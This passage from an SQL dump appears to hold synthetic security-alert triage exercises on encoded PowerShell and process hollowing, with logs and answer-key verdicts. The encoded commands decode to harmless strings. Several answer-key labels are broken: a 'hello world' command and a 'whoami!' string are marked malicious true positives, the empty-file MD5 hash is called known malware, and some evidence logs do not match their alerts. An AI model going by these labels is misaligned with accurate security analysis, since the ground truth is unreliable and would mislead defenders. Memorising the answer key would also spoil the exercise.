1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1726, 'Attempted Process Hollowing in explorer.exe', 'high', 'SentinelOne', 'An attempted process hollowing in explorer.exe was detected, which could indicate a potential malware injection.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:20:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.20\",\"dst_ip\":\"\",\"username\":\"fthomas\",\"hostname\":\"SALES-DESKTOP\",\"request_body\":\"\",\"command_line\":\"explorer.exe\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected desktop\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected attempt at process hollowing in explorer.exe\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is a technique used by malware to hide its execution by injecting code into legitimate processes.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1727, 'PowerShell Download Cradle Detected', 'high', 'CrowdStrike', 'A PowerShell script was executed using a download cradle. The script was encoded and executed on an internal host.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:20:35Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.22\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC01\",\"command_line\":\"powershell -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address detected in PowerShell execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malicious content\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command suggests malicious activity\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell encoded command and contact with a malicious IP confirm a malware attack.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1728, 'Process Hollowing Detected in Explorer.exe', 'critical', 'SentinelOne', 'Process hollowing detected in explorer.exe, indicating possible code injection to hide malicious activity.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SERVER01\",\"command_line\":\"explorer.exe /inject\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in process hollowing\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"explorer.exe /inject\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique detected\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing in explorer.exe indicates a high-risk malware infiltration.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1729, 'Suspicious PowerShell Execution Detected', 'medium', 'Sysmon', 'An internal system executed a PowerShell script using an encoded command, potentially indicating malicious intent.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.100\",\"username\":\"bsmith\",\"hostname\":\"WORKSTATION-01\",\"command_line\":\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing a PowerShell script\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded command decoded to benign PowerShell script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The decoded PowerShell command is benign and not indicative of malicious activity.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1730, 'Unauthorized PowerShell Script Execution', 'high', 'Carbon Black', 'Detected execution of an unauthorized PowerShell script with an encoded command targeting an external IP.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:05:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.40\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAPTOP01\",\"command_line\":\"powershell -EncodedCommand d2hvYW1pIQ==\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in unauthorized script execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand d2hvYW1pIQ==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command matched with known malicious patterns\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell execution with contact to a known malicious IP indicates an active threat.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1731, 'Potential Process Hollowing in Explorer.exe', 'medium', 'Sysmon', 'Process hollowing detected in explorer.exe, but further analysis suggests it may not be malicious.', 'Malware', 'T1055', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:22:58Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"\",\"username\":\"jsmith\",\"hostname\":\"INTERNAL-PC02\",\"command_line\":\"explorer.exe /loadlibrary\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in process execution\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"explorer.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash not associated with any known malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"explorer.exe /loadlibrary\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Usage of loadlibrary is uncommon but not necessarily malicious\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process hollowing alert in explorer.exe is likely a false positive due to clean file hash.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 